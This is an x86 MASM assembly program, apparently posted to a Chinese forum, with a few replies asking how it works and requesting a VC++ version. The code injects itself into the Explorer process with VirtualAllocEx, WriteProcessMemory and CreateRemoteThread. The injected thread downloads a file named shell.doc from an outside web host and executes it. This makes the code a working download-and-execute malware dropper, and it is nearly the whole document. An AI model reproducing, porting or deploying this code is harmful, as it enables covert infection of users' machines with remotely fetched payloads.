.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szDesktopClass     db     'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow   db     'Program Manager',0
szURL   db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
szSaveFile db 'C:\shell.doc',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
    PROCESS_VM_OPERATION,FALSE,Pid     
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
这个是怎么来的;)

谢谢回复，只是我不懂汇编啊。最好能提供vc++的代码例子

push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary

牛人

“。。。。。。”大象。